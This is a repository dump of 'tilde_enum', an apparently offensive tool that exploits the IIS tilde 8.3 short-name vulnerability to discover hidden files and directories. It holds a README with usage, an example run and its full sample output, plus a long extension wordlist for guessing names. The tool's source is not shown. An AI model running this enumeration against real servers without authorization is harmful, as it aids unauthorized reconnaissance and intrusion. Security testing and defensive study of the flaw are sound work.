├── LICENSE.md
├── .gitignore
├── README.md
├── exts
└── tilde_enum.py
/LICENSE.md:
--------------------------------------------------------------------------------
1 | Copyright (C) 2018 Spotlight Infosec LLC
2 |
3 | This work is licensed under the Creative Commons Attribution-ShareAlike 4.0 International License. To view a copy of this license, visit http://creativecommons.org/licenses/by-sa/4.0/ or send a letter to Creative Commons, PO Box 1866, Mountain View, CA 94042, USA.
4 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | *.py[cod]
2 |
3 | # C extensions
4 | *.so
5 |
6 | # Packages
7 | *.egg
8 | *.egg-info
9 | dist
10 | build
11 | eggs
12 | parts
13 | bin
14 | var
15 | sdist
16 | develop-eggs
17 | .installed.cfg
18 | lib
19 | lib64
20 | __pycache__
21 |
22 | # Installer logs
23 | pip-log.txt
24 |
25 | # Unit test / coverage reports
26 | .coverage
27 | .tox
28 | nosetests.xml
29 |
30 | # Translations
31 | *.mo
32 |
33 | # Mr Developer
34 | .mr.developer.cfg
35 | .project
36 | .pydevproject
37 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | **PLEASE NOTE: This project is no longer maintained by me, the original author. If you are having an issue, please post in the Issues tab and maybe another user will assist**
2 |
3 |
4 | tilde_enum
5 | ==========
6 |
7 | Takes a URL and then exploits the IIS tilde 8.3 enumeration vuln (https://soroush.secproject.com/blog/tag/iis-tilde-vulnerability/, http://www.acunetix.com/vulnerabilities/microsoft-iis-tilde-direc/, http://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf) and tries to get you full file and directory names.
8 |
9 | This is an attempt to take the cool POC scanner at https://github.com/irsdl/iis-shortname-scanner/tree/master/ and get you the rest of the file/directory names so you can retrieve them.
10 |
11 | Feed this script a URL and also a word list of potential file/dir names. The script will look up the roots in your word list and then try them with appropriate extensions.
12 |
13 | For word lists, the [fuzzdb](https://code.google.com/p/fuzzdb/) word lists are pretty good. We sometimes use the https://code.google.com/p/fuzzdb/source/browse/trunk/discovery/PredictableRes/raft-small-words-lowercase.txt (or large or medium) for this work.
14 |
15 | This is not a directory enumerator (i.e., tries all words in a list against a web server). It will only find directories that have names longer than 8 characters (since only then will they have 8.3 names and be recognized by the vulnerability). You should still try to enumerate directories using a word list and [DirBuster](https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project) or Burp Intruder or something.
16 |
17 | Just as a note: on Windows computers you can view 8.3 names in the command prompt window by using the `dir /x` command. One of the columns will be the 8.3 name (if there is one).
18 |
19 | Help
20 | ====
21 |
$ ./tilde_enum.py -h
22 | usage: tilde_enum.py [-h] [-c COOKIES] [-d DIRWORDLIST] [-f] [-p PROXY]
23 | [-s SNOOZE] [-u URL] [-v] [-w WORDLIST]
24 | [--no-check-certificate]
25 |
26 | Exploits and expands the file names found from the tilde enumeration vuln
27 |
28 | optional arguments:
29 | -h, --help show this help message and exit
30 | -c COOKIES cookies to be used in the request
31 | -d DIRWORDLIST an optional wordlist for directory name content
32 | -f force testing of the server even if the headers do not
33 | report it as an IIS system
34 | -p PROXY Use a proxy host:port
35 | -s SNOOZE time in seconds to sleep/wait between requests
36 | -u URL URL to scan
37 | -v verbose output
38 | -w WORDLIST the word list to be used for guessing files
39 | --no-check-certificate
40 | don't verify the SSL certificate
41 |
42 |
43 |
44 | Sample Output
45 | ======
46 |
47 | $ ./tilde_enum.py -u http://iis /pentest/fuzzdb/discovery/predictableres/raft-small-words-lowercase.txt -d /pentest/fuzzdb/discovery/predictableres/raft-small-directories-lowercase.txt
48 | [-] Testing with dummy file request http://iis/mhxWjUz25u.htm
49 | [-] URLNotThere -> HTTP Code: 404, Response Length: 1635
50 | [-] Testing with user-submitted http://iis
51 | [-] URLUser -> HTTP Code: 200, Response Length: 1433
52 | [+] The server is reporting that it is IIS (Microsoft-IIS/6.0).
53 | [+] The server is vulnerable to the tilde enumeration vulnerability (IIS/5|6.x)..
54 | [+] Found a new directory: aspnet
55 | [+] Found a new directory: copyof
56 | [+] Found a new directory: docume
57 | [+] Found a new directory: javasc
58 | [+] Found file: parame . xml
59 | [+] Found file: 765432 . htm
60 | [+] Found file: _vti_i . htm
61 | [+] Found a new directory: _vti_s
62 | [-] Finished doing the 8.3 enumeration for /.
63 | [-] Now starting the word guessing using word list calls
64 | [*] Found one! (Size 1307) http://iis/parameter.xml
65 | [*] Found one! (Size 1754) http://iis/_vti_inf.html
66 | [-] Trying to find directory matches now.
67 | [-] You used the "-d" option.
68 | Using /pentest/fuzzdb/discovery/predictableres/raft-small-directories-lowercase.txt for directory name look-ups.
69 | [?] URL: (Size 218) http://iis/aspnet_client/ with Response: HTTP Error 403: Forbidden
70 | [*] Found one! (Size 1433) http://iis/documentation/
71 | [*] Found one! (Size 1433) http://iis/javascript/
72 | [-] Now starting recursive 8.3 enumeration into the directories we found.
73 | [-] Diving into the http://iis/documentation/ dir.
74 | [+] Found file: advert . htm
75 | [+] Found file: defaul . asp
76 | [-] Finished doing the 8.3 enumeration for /documentation/.
77 | [*] Found one! (Size 227) http://iis/documentation/advertising.html
78 | [*] Found one! (Size 1433) http://iis/documentation/default.aspx
79 | [-] Trying to find directory matches now.
80 | [-] You used the "-d" option.
81 | Using /pentest/fuzzdb/discovery/predictableres/raft-small-directories-lowercase.txt for directory name look-ups.
82 | [-] Diving into the http://iis/javascript/ dir.
83 | [+] Found file: 321 . xls
84 | [-] Finished doing the 8.3 enumeration for /javascript/.
85 | [-] File name (321) too short to look up in word list. We will use it to bruteforce.
86 | [*] Found one! (Size 227) http://iis/javascript/321.xlsx
87 | [-] Trying to find directory matches now.
88 | [-] You used the "-d" option.
89 | Using /pentest/fuzzdb/discovery/predictableres/raft-small-directories-lowercase.txt for directory name look-ups.
90 |
91 | ---------- FINAL OUTPUT ------------------------------
92 | [*] We found files for you to look at:
93 | [*] http://iis/_vti_inf.html - Size 1754
94 | [*] http://iis/documentation/advertising.html - Size 227
95 | [*] http://iis/documentation/default.aspx - Size 1433
96 | [*] http://iis/javascript/321.xlsx - Size 227
97 | [*] http://iis/parameter.xml - Size 1307
98 |
99 | [*] Here are all the 8.3 names we found.
100 | [*] If any of these are 6 chars and look like they should work,
101 | try the file name with the first or second instead of all of them.
102 | [*] http://iis/documentation/advert~1.htm
103 | [*] http://iis/documentation/defaul~1.asp
104 | [*] http://iis/765432~1.htm
105 | [*] http://iis/_vti_i~1.htm
106 | [*] http://iis/parame~1.xml
107 | [*] http://iis/javascript/321~1.xls
108 |
109 | [*] We found directories for you to look at:
110 | [*] http://iis/documentation/ - Size 1433
111 | [*] http://iis/javascript/ - Size 1433
112 |
113 | [*] Here are all the directory names we found. You may wish to try to guess them yourself too.
114 | [?] http://iis/_vti_s~1/
115 | [?] http://iis/aspnet~1/
116 | [?] http://iis/copyof~1/
117 | [?] http://iis/docume~1/
118 | [?] http://iis/javasc~1/
119 |
120 | [*] We found directory URLs you should check out. They were not HTTP response code 200s.
121 | [?] HTTP Resp 403 - http://iis/aspnet_client/ - Size 218
122 |
123 |
124 | # License
125 | 
This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License.
126 |
--------------------------------------------------------------------------------
/exts:
--------------------------------------------------------------------------------
1 | ---
2 | ~hm
3 | $$$
4 | $er
5 | 000
6 | 00b
7 | 1-step
8 | 01b
9 | 1pe
10 | 1ph
11 | 3dr
12 | 3dt
13 | 3me
14 | 3pe
15 | 4dl
16 | 4dv
17 | 8xk
18 | 92b
19 | 123
20 | 201
21 | 999
22 | a.html
23 | a$v
24 | a00
25 | a01
26 | a02
27 | a3l
28 | a3m
29 | a3w
30 | a4a
31 | a4l
32 | a4m
33 | a4w
34 | a5ca
35 | a5l
36 | a5w
37 | a8a
38 | a22
39 | a34
40 | a40
41 | a50
42 | a58
43 | a65
44 | aac
45 | aao
46 | ab1
47 | ab2
48 | ab3
49 | ab60
50 | abcd
51 | abi
52 | abk
53 | abkprj
54 | abp
55 | aby
56 | ac0
57 | ac2
58 | aca
59 | aca2
60 | acc
61 | accdb
62 | access
63 | access.login
64 | ace
65 | acf
66 | acg
67 | acgi
68 | acquisition
69 | acr
70 | act
71 | act.php
72 | action
73 | action.php
74 | action2
75 | actions
76 | actions.php
77 | activate.php
78 | ad.php
79 | adcode
80 | add
81 | add.php
82 | ade
83 | adk
84 | adm
85 | admin
86 | admin.php
87 | adp
88 | ads
89 | adt
90 | advsearch
91 | adx
92 | ae2
93 | aea
94 | aefa
95 | af54
96 | af90
97 | aff
98 | aft
99 | ag.php
100 | agd
101 | aifb
102 | ain
103 | aj_
104 | aja
105 | ajax
106 | ajax.asp
107 | ajax.php
108 | ajl
109 | alc
110 | ald
111 | alhtm
112 | ali
113 | all
114 | all.hawaii
115 | alt
116 | alz
117 | amb
118 | amk
119 | amsorm
120 | an1
121 | ani
122 | anme
123 | apf
124 | api
125 | apj
126 | apk
127 | app
128 | application
129 | appraisal
130 | apr
131 | apsx
132 | apz
133 | aquery
134 | arc
135 | archiv
136 | arh
137 | ari
138 | arj
139 | ark
140 | arm
141 | array-key-exists
142 | array-keys
143 | array-map
144 | array-merge
145 | array-rand
146 | array-values
147 | art
148 | artdeco
149 | articlepk
150 | artnet.
151 | arz
152 | asa
153 | asax
154 | asax.cs
155 | asax.resx
156 | asax.vb
157 | asc
158 | asc.
159 | ascx
160 | ascx.cs
161 | ascx.resx
162 | ascx.vb
163 | asd
164 | asf
165 | ashbak
166 | ashdisc
167 | ashx
168 | asia
169 | ask
170 | asm
171 | asmx
172 | asp
173 | asp_
174 | asp_files
175 | asp-
176 | asp.asp
177 | asp.bak
178 | asp.html
179 | asp.lck
180 | asp.old
181 | asp1
182 | asp2
183 | aspdonotuse
184 | aspg
185 | aspl
186 | aspp
187 | asps
188 | aspx
189 | aspx_files
190 | aspx,
191 | aspx.
192 | aspx.aspx
193 | aspx.cs
194 | aspx.designer.cs
195 | aspx.resx
196 | aspx.vb
197 | aspxx
198 | aspy
199 | assets
200 | ast
201 | asv
202 | asx
203 | asxp
204 | at.html
205 | at5
206 | ate
207 | atom
208 | att
209 | avatar.php
210 | avi
211 | avz
212 | award
213 | awb
214 | awg
215 | awm
216 | awstats
217 | axd
218 | axx
219 | azw
220 | b1c
221 | b2c
222 | b04
223 | b5e
224 | b7a
225 | b8a
226 | b18
227 | b38
228 | b50
229 | b64
230 | b70
231 | bac
232 | back
233 | backup
234 | backup.php
235 | backupdb
236 | bad
237 | bafl
238 | bak
239 | bak.php
240 | bak~
241 | bak2
242 | banan.se
243 | banner.php
244 | barnes
245 | basicmap.php
246 | bat
247 | baut
248 | baz
249 | bbb
250 | bbc
251 | bbk
252 | bbz
253 | bc6
254 | bc7
255 | bca
256 | bci
257 | bck
258 | bckp
259 | bcm
260 | bd0
261 | bdb
262 | bdc
263 | bdf
264 | bdic
265 | beta
266 | bff
267 | bfhtm
268 | bfs
269 | bfw
270 | bfx
271 | bgl
272 | bgt
273 | bhtml
274 | biminifinder
275 | bin
276 | biz
277 | bjf
278 | bjo
279 | bk!
280 | bk0
281 | bk1
282 | bk2
283 | bk3
284 | bk4
285 | bk5
286 | bk6
287 | bk7
288 | bk8
289 | bk9
290 | bkc
291 | bkf
292 | bki
293 | bkk
294 | bko
295 | bkp
296 | bks
297 | bku
298 | bkup
299 | bky
300 | bkz
301 | blb
302 | bld
303 | blend1
304 | blend2
305 | blg
306 | blog
307 | bm3
308 | bml
309 | bmp
310 | bmp.php
311 | bmr
312 | bms
313 | board.asd
314 | bok
315 | boo
316 | boom
317 | box
318 | bp0
319 | bp1
320 | bp2
321 | bp3
322 | bp4
323 | bpb
324 | bpn
325 | bpp
326 | bpr
327 | bps
328 | bpsd
329 | brd
330 | browse
331 | browser
332 | brw
333 | brz
334 | bsp
335 | bsr
336 | btf
337 | btif
338 | btm
339 | btr
340 | btx
341 | buc
342 | bud
343 | build
344 | bup
345 | buscar
346 | bvs
347 | bvw
348 | bws
349 | bz1
350 | bz2
351 | bzip
352 | bzip2
353 | c.html
354 | c.r.d.
355 | c00
356 | c01
357 | c02
358 | c7c
359 | c38
360 | c44
361 | c50
362 | c68
363 | c72
364 | c78
365 | c84
366 | caa
367 | cab
368 | cache
369 | cache.inc.php
370 | cache.php
371 | calendar
372 | cam
373 | cap
374 | captcha
375 | captcha.aspx
376 | car
377 | cart
378 | cas
379 | casino
380 | cat
381 | cat.php
382 | catalog
383 | categorias
384 | categories
385 | cb7
386 | cb8
387 | cbc
388 | cbg
389 | cbk
390 | cbr
391 | cbt
392 | cbu
393 | cbz
394 | cc0
395 | cch
396 | ccr
397 | ccs
398 | cct
399 | cdb
400 | cdd
401 | cdf
402 | cdp
403 | cdr
404 | cdx
405 | cedata
406 | cel
407 | celtx
408 | cer
409 | cf4
410 | cf6
411 | cfc
412 | cfg
413 | cfg.php
414 | cfm
415 | cfm.bak
416 | cfm.cfm
417 | cfml
418 | cfswf
419 | cfx
420 | cgi
421 | cgis
422 | changelang.php
423 | chat
424 | chdir
425 | chg
426 | children
427 | chk
428 | chm
429 | chn
430 | cig
431 | ckd
432 | ckp
433 | ckt
434 | cl2
435 | cl4
436 | class
437 | class.php
438 | classes.php
439 | clb
440 | click.php
441 | clix
442 | clm
443 | clp
444 | cls
445 | cls.php
446 | cmb
447 | cmbl
448 | cmd
449 | cmp
450 | cms
451 | cna
452 | cnf
453 | cnt
454 | co.il
455 | co.uk
456 | cocomore.txt
457 | code
458 | colorbox-min.js
459 | com
460 | com_files
461 | com,
462 | com.ar
463 | com.au
464 | com.br
465 | com.crt
466 | com.htm
467 | com.html
468 | com.old
469 | com.php
470 | com.ua
471 | comments
472 | comments.
473 | comments.php
474 | commerce
475 | common
476 | common.php
477 | compiler.php
478 | conf
479 | conf.html
480 | conf.php
481 | config
482 | config.php
483 | confirm.email
484 | connect.php
485 | console
486 | contact
487 | contact.php
488 | content
489 | content.php
490 | contrib
491 | control
492 | controller
493 | controls
494 | cookie.js
495 | copy
496 | core
497 | core.php
498 | corelproject
499 | corp
500 | corp.footer
501 | count
502 | counter.php
503 | coverfinder
504 | cp9
505 | cpgz
506 | cpi
507 | cpmz
508 | cpp
509 | cps
510 | cpt
511 | cqs
512 | crashed
513 | crd
514 | crds
515 | create.php
516 | cron
517 | cropcanvas.php
518 | cropinterface.php
519 | crt
520 | crtx
521 | crx
522 | cs2
523 | csa
524 | csi
525 | csp
526 | csproj
527 | csproj.user
528 | csproj.webinfo
529 | csr
530 | css
531 | css.aspx
532 | css.gz
533 | css.lck
534 | css.php
535 | cssd
536 | csshandler.ashx
537 | csv
538 | csv.php
539 | ctf
540 | ctp
541 | ctt
542 | ctx
543 | ctz
544 | cur
545 | cursorfx
546 | curxptheme
547 | custom
548 | cvd
549 | cvn
550 | cvt
551 | cwk
552 | cws
553 | cwz
554 | cxt
555 | cycle.all.min.js
556 | cyo
557 | cys
558 | d.r.
559 | d2w
560 | d7a
561 | d20
562 | d64
563 | da0
564 | da1
565 | daf
566 | daisy
567 | dal
568 | dam
569 | daniel
570 | dar
571 | das
572 | dat
573 | dat_mcr
574 | dat_old
575 | data
576 | data_
577 | data.php
578 | datbak0
579 | davis
580 | db2
581 | db3
582 | dbc
583 | dbd
584 | dbe
585 | dbf
586 | dbk
587 | dbm
588 | dbml
589 | dbq
590 | dbx
591 | dc2
592 | dcf
593 | dcl
594 | dcm
595 | dcmd
596 | dcr
597 | dct
598 | ddc
599 | ddcx
600 | ddt
601 | de.html
602 | de.jsp
603 | de.txt
604 | deb
605 | default
606 | default.php
607 | del
608 | delete
609 | deleted
610 | dell
611 | dem
612 | demo
613 | des
614 | desc.
615 | detail
616 | details.php
617 | dev
618 | development
619 | dex
620 | dfm
621 | dfproj
622 | dft
623 | dgb
624 | dgc
625 | dhtml
626 | dic
627 | dict.php
628 | dif
629 | diff
630 | dig
631 | dii
632 | dir
633 | direct
634 | disabled
635 | display.php
636 | dist
637 | dist.php
638 | divx
639 | diy
640 | djvu
641 | dkb
642 | dl_
643 | dlg
644 | dll
645 | dm2
646 | dmb
647 | dmd
648 | dmf
649 | dmg
650 | dmo
651 | dms
652 | dmsk
653 | dnc
654 | dnn
655 | dnnwebservice
656 | doc
657 | doc.doc
658 | dockzip
659 | docx
660 | dogpl
661 | dontcopy
662 | dot
663 | download
664 | download.php
665 | dp1
666 | dpn
667 | dpx
668 | drl
669 | drscan
670 | drt
671 | dsb
672 | dsd
673 | dsk
674 | dss
675 | dsy
676 | dsz
677 | dt0
678 | dt1
679 | dt2
680 | dt6
681 | dta
682 | dtd
683 | dtr
684 | dump
685 | dvdproj
686 | dvo
687 | dwf
688 | dwg
689 | dwi
690 | dws
691 | dwt
692 | dxf
693 | dyn
694 | e00
695 | e46
696 | e96
697 | ea0
698 | ea3ny.com
699 | eap
700 | easing.min.js
701 | eba
702 | ebay
703 | ebay.results.html
704 | ebf
705 | ebi
706 | ebk
707 | ebuild
708 | ec0
709 | ece
710 | eco
711 | ecs
712 | ecx
713 | edb
714 | ede
715 | edf
716 | edit
717 | edk
718 | edu
719 | eea
720 | eep
721 | ef8
722 | efw
723 | efx
724 | egov
725 | egp
726 | ehtml
727 | email
728 | email.shtml
729 | emb
730 | emd
731 | eml
732 | emlxpart
733 | en.htm
734 | en.html
735 | en.jsp
736 | en.php
737 | enc
738 | enfinity
739 | engine
740 | engineer
741 | enn
742 | enu
743 | env
744 | enw
745 | eot
746 | epc
747 | epi
748 | epl
749 | epp
750 | eps
751 | epub
752 | epw
753 | er1
754 | err
755 | error
756 | error-log
757 | errors
758 | es.html
759 | es.jsp
760 | esp
761 | ess
762 | est
763 | esx
764 | eta
765 | etd
766 | etl
767 | eur
768 | eus
769 | ev3
770 | evt
771 | evy
772 | ewb
773 | ex_
774 | exc
775 | excel.xml.php
776 | exclude
777 | exe
778 | exe,
779 | exec
780 | exif
781 | exp
782 | ext
783 | external
784 | extract
785 | exx
786 | f.l.
787 | f4v
788 | f22
789 | f46
790 | f54
791 | faces
792 | fae
793 | fancybox
794 | fasta
795 | fb2
796 | fbc
797 | fbf
798 | fbk
799 | fbl
800 | fbu
801 | fcd
802 | fcgi
803 | fcs
804 | fdb
805 | fdml
806 | fdp
807 | feed
808 | feeds.php
809 | fez
810 | ffa
811 | ffd
812 | ffwp
813 | fhc
814 | ficheros
815 | fichiers
816 | ficken.cx
817 | fid
818 | fif
819 | fil
820 | file
821 | file extension
822 | file-get-contents
823 | file-put-contents
824 | filemtime
825 | filereader
826 | files
827 | filesize
828 | fillpurposes2.php
829 | film
830 | filters.php
831 | fla
832 | flac
833 | flame
834 | flb
835 | fll
836 | flo
837 | flp
838 | flt
839 | flush
840 | flv
841 | flypage
842 | fm5
843 | fmp
844 | fmt
845 | fob
846 | fol
847 | fon
848 | footer
849 | fop
850 | fopen
851 | forget.pass
852 | form
853 | form_jhtml
854 | form.php
855 | forms
856 | forum
857 | found
858 | fox
859 | fp3
860 | fp4
861 | fp5
862 | fp7
863 | fpbf
864 | fpl
865 | fr.html
866 | fr.jsp
867 | framework
868 | fread
869 | fri
870 | friend
871 | frk
872 | frl
873 | frm
874 | fro
875 | frontpage.php
876 | frx
877 | fsb
878 | fsc
879 | fsockopen
880 | ftl
881 | ftm
882 | ftmb
883 | ftw
884 | functions.php
885 | funzz.fr
886 | fwb
887 | fxh
888 | fzb
889 | gallery.php
890 | gan
891 | garcia
892 | gb1
893 | gbck
894 | gbk
895 | gbm
896 | gbp
897 | gbr
898 | gca
899 | gcb
900 | gcx
901 | gdb
902 | ged
903 | gedcom
904 | gen
905 | geo
906 | geo.xml
907 | get
908 | get-meta-tags
909 | getimagesize
910 | getmapimage
911 | ggb
912 | gho
913 | ghs
914 | ghtml
915 | gif
916 | gif.count
917 | gif.php
918 | git
919 | gml
920 | gms
921 | gno
922 | gnp
923 | google
924 | googlebook
925 | gov
926 | gp3
927 | gpg
928 | gpi
929 | gps
930 | gpx
931 | gra
932 | grade
933 | gray
934 | grb
935 | grf
936 | grib
937 | grk
938 | grp
939 | grr
940 | grv
941 | gsba
942 | gsp
943 | gst
944 | gtp
945 | gutschein
946 | guy
947 | gwk
948 | gws
949 | gxl
950 | gzi
951 | gzip
952 | h.i.
953 | hawaii
954 | hbc
955 | hbc2
956 | hbe
957 | hbi
958 | hbk
959 | hcb
960 | hcc
961 | hce
962 | hci
963 | hcp
964 | hcr
965 | hcu
966 | hda
967 | hdb
968 | hdf
969 | hdi
970 | hdk
971 | hdl
972 | header.php
973 | henry
974 | hif
975 | him
976 | history
977 | hki
978 | hki1
979 | hki2
980 | hki3
981 | hlr
982 | hm~
983 | hm4
984 | hml
985 | hmt
986 | hmtl
987 | hokkaido
988 | hold
989 | home
990 | home.php
991 | home.test
992 | homepage
993 | hotelname
994 | hpk
995 | hqx
996 | href
997 | hs2
998 | hsk
999 | hst
1000 | hta
1001 | htaccess
1002 | htc
1003 | htg
1004 | htlm
1005 | htm
1006 | htm_
1007 | htm,
1008 | htm.
1009 | htm.bak
1010 | htm.d
1011 | htm.htm
1012 | htm.html
1013 | htm.lck
1014 | htm.old
1015 | htm.rc
1016 | htm~
1017 | htm2
1018 | htm3
1019 | htm5
1020 | htm7
1021 | htm8
1022 | html
1023 | html_
1024 | html_files
1025 | html_old
1026 | html_var_de
1027 | html-
1028 | html-0
1029 | html-1
1030 | html-c
1031 | html-old
1032 | html-p
1033 | html,
1034 | html,,
1035 | html,404
1036 | html.
1037 | html.bak
1038 | html.htm
1039 | html.html
1040 | html.images
1041 | html.inc
1042 | html.lck
1043 | html.none
1044 | html.old
1045 | html.orig
1046 | html.pdf
1047 | html.php
1048 | html.printable
1049 | html.sav
1050 | html.start
1051 | html.txt
1052 | html[
1053 | html]
1054 | html}
1055 | html1
1056 | html4
1057 | html5
1058 | html7
1059 | htmla
1060 | htmlbak
1061 | htmlc
1062 | htmldolmetschen
1063 | htmlfeed
1064 | htmll
1065 | htmlpar
1066 | htmlprint
1067 | htmlq
1068 | htmls
1069 | htmlu
1070 | htn
1071 | htpasswd
1072 | hts
1073 | htx
1074 | huh
1075 | hwp
1076 | hyp
1077 | hyv
1078 | i5d
1079 | i5s
1080 | i5z
1081 | iab
1082 | iac.
1083 | ibak
1084 | ibf
1085 | ibz
1086 | icbu
1087 | ice
1088 | ichat
1089 | ico
1090 | iconv
1091 | ics
1092 | id2
1093 | ida
1094 | idf
1095 | idq
1096 | idx
1097 | iframe_filtros
1098 | igc
1099 | ignore.php
1100 | ihmtl
1101 | ihtml
1102 | ihx
1103 | ihya
1104 | iif
1105 | ima
1106 | image
1107 | image.php
1108 | imagecreatetruecolor
1109 | imagejpeg
1110 | images
1111 | img
1112 | iml
1113 | imm
1114 | imp
1115 | implode
1116 | imprimer
1117 | imprimir
1118 | imt
1119 | in-array
1120 | in0
1121 | in1
1122 | inactive
1123 | inc
1124 | inc.asp
1125 | inc.html
1126 | inc.js
1127 | inc.php
1128 | inc.php.bak
1129 | inc.php3
1130 | incl
1131 | include
1132 | include-once
1133 | includes
1134 | index
1135 | index.html
1136 | index.php
1137 | indt
1138 | inf
1139 | info
1140 | info.html
1141 | info.php
1142 | ini
1143 | ini.bak
1144 | ini.default
1145 | ini.newconfigpossiblybroken
1146 | ini.php
1147 | ini.sample
1148 | ink
1149 | inl
1150 | inp
1151 | ins
1152 | insert
1153 | inv
1154 | iobit
1155 | ipd
1156 | ipe
1157 | ipg
1158 | ipk
1159 | ipl
1160 | irock
1161 | irr
1162 | irx
1163 | isf
1164 | ish
1165 | iso
1166 | issues
1167 | it.html
1168 | itdb
1169 | itl
1170 | itm
1171 | itml
1172 | itn
1173 | itw
1174 | itx
1175 | ivt
1176 | ixb
1177 | ixi
1178 | jad
1179 | jaf
1180 | jar
1181 | jar.pack
1182 | jasper
1183 | java
1184 | jbf
1185 | jbk
1186 | jdb
1187 | jef
1188 | jgz
1189 | jhtm
1190 | jhtml
1191 | jic
1192 | jmp
1193 | jnlp
1194 | jnt
1195 | job
1196 | joboptions
1197 | join
1198 | joined
1199 | joseph
1200 | jpa
1201 | jpe
1202 | jpeg
1203 | jpf
1204 | jpg
1205 | jpg.html
1206 | jpg.jpg
1207 | jpg.xml
1208 | jpg[
1209 | jpg]
1210 | jph
1211 | jps
1212 | jrprint
1213 | jrs
1214 | jrxml
1215 | js,
1216 | js.asp
1217 | js.aspx
1218 | js.gz
1219 | js.lck
1220 | js.php
1221 | js2
1222 | jsa
1223 | jsd
1224 | jsf
1225 | jso
1226 | json
1227 | jsp
1228 | jsp.old
1229 | jspa
1230 | jspf
1231 | jsps
1232 | jspx
1233 | jtbackup
1234 | jtp
1235 | jude
1236 | jwc
1237 | k.e.
1238 | k.t.
1239 | kap
1240 | kb2
1241 | kbb
1242 | kdb
1243 | key
1244 | keyword
1245 | kgb
1246 | kid
1247 | kismac
1248 | kit
1249 | kml
1250 | kmz
1251 | kokuken
1252 | kpf
1253 | kpp
1254 | kpr
1255 | kpx
1256 | kpz
1257 | krt
1258 | l.jpg
1259 | l6t
1260 | laccdb
1261 | lang
1262 | lang-de.php
1263 | lang-en.php
1264 | lang.php
1265 | lasso
1266 | lassoapp
1267 | last
1268 | latest
1269 | layer
1270 | lbi
1271 | lbk
1272 | lbl
1273 | lbr
1274 | lbx
1275 | lcb
1276 | lcd
1277 | lcf
1278 | lck
1279 | lcm
1280 | ldb
1281 | ldif
1282 | lemon
1283 | letter
1284 | lex
1285 | lgc
1286 | lgf
1287 | lgh
1288 | lgi
1289 | lgl
1290 | lha
1291 | lib
1292 | lib.php
1293 | lic
1294 | licx
1295 | lid
1296 | lif
1297 | lignee
1298 | link
1299 | links
1300 | list
1301 | list.includes
1302 | listevents
1303 | listing
1304 | listminigrid
1305 | livereg
1306 | liveupdate
1307 | lix
1308 | llb
1309 | llx
1310 | lms
1311 | lmx
1312 | lng
1313 | lnk
1314 | lnt
1315 | lnx
1316 | load
1317 | loaderbackup
1318 | loc
1319 | local
1320 | local.cfm
1321 | local.php
1322 | location.href
1323 | lock
1324 | log
1325 | log.0
1326 | log.new
1327 | log2
1328 | login
1329 | login.php
1330 | lp7
1331 | lqr
1332 | lrf
1333 | lrs
1334 | lrx
1335 | lsf
1336 | lsl
1337 | lsp
1338 | lsr
1339 | lst
1340 | lsu
1341 | ltr
1342 | lua
1343 | lvm
1344 | lw4
1345 | lynkx
1346 | lzh
1347 | lzm
1348 | lzma
1349 | lzo
1350 | lzx
1351 | m3u
1352 | m4a
1353 | m4v
1354 | mag
1355 | mai
1356 | mail
1357 | mail.php
1358 | main
1359 | manager
1360 | manifest
1361 | maninfo
1362 | map
1363 | masseffectprofile
1364 | master
1365 | master.cs
1366 | master.vb
1367 | mat
1368 | maximize
1369 | mbb
1370 | mbf
1371 | mbg
1372 | mbizgroup
1373 | mbk
1374 | mbkp
1375 | mbl
1376 | mbox
1377 | mbp
1378 | mbsb
1379 | mbsyncstate
1380 | mbu
1381 | mbx
1382 | mc_id
1383 | mc1
1384 | mc9
1385 | mcd
1386 | mcg
1387 | md5
1388 | mdb
1389 | mdbackup
1390 | mdc
1391 | mddata
1392 | mdf
1393 | mdinfo
1394 | mdl
1395 | mdm
1396 | mdn
1397 | mdo
1398 | mdr
1399 | mds
1400 | mdt
1401 | mdx
1402 | mdz
1403 | media
1404 | mel
1405 | mem
1406 | members
1407 | menc
1408 | menu.php
1409 | met
1410 | meta
1411 | metadata.js
1412 | metadesc
1413 | metakeys
1414 | meus.php
1415 | mex
1416 | mfo
1417 | mfp
1418 | mgc
1419 | mgi
1420 | mht
1421 | mhtml
1422 | mib
1423 | mid
1424 | midi
1425 | min
1426 | min_
1427 | min.js
1428 | mint
1429 | mk.gutschein
1430 | mk.rabattlp
1431 | mkdir
1432 | mkv
1433 | mkz
1434 | mld
1435 | mls
1436 | mmap
1437 | mmc
1438 | mmf
1439 | mmp
1440 | mnc
1441 | mng
1442 | mnk
1443 | mno
1444 | mny
1445 | mobi
1446 | mobile
1447 | mod
1448 | moho
1449 | mon
1450 | mosaic
1451 | mou
1452 | mov
1453 | mox
1454 | moz-backup
1455 | mp2
1456 | mp3
1457 | mp3.html
1458 | mp4
1459 | mpb
1460 | mpd
1461 | mpeg
1462 | mpg
1463 | mpj
1464 | mpkg
1465 | mpl
1466 | mpp
1467 | mpr
1468 | mpt
1469 | mpx
1470 | mpz
1471 | mq4
1472 | mreply.rc
1473 | mrimg
1474 | ms10
1475 | mscx
1476 | mscz
1477 | msg
1478 | msi
1479 | msnbak
1480 | mso
1481 | msp
1482 | mspx
1483 | mtb
1484 | mth
1485 | mtw
1486 | mud
1487 | muf
1488 | mv_
1489 | mv4
1490 | mvc
1491 | mvn
1492 | mwf
1493 | mws
1494 | mwx
1495 | mxd
1496 | myc
1497 | myd
1498 | myi
1499 | mysql
1500 | mysql-connect
1501 | mysql-pconnect
1502 | mysql-query
1503 | mysql-result
1504 | mysql-select-db
1505 | mysql.txt
1506 | mysqli
1507 | mzp
1508 | nab
1509 | napravlenie_asc
1510 | napravlenie_desc
1511 | nb7
1512 | nba
1513 | nbak
1514 | nbd
1515 | nbf
1516 | nbi
1517 | nbu
1518 | nbz
1519 | nco
1520 | nded-pga-emial
1521 | ndf
1522 | ndk
1523 | ndm
1524 | ndu
1525 | ndx
1526 | net
1527 | net-en
1528 | net-print.htm
1529 | net-tov.html
1530 | net.html
1531 | neta
1532 | new
1533 | new.htm
1534 | new.html
1535 | new.php
1536 | newconfigpossiblybroken
1537 | news
1538 | newsletter
1539 | nfb
1540 | nfc
1541 | nfo
1542 | nhv
1543 | nikon
1544 | nitf
1545 | nl.html
1546 | nmind
1547 | nodos
1548 | none
1549 | not
1550 | notebook
1551 | npb
1552 | npf
1553 | npl
1554 | npt
1555 | nr4
1556 | nrb
1557 | nrc
1558 | nrd
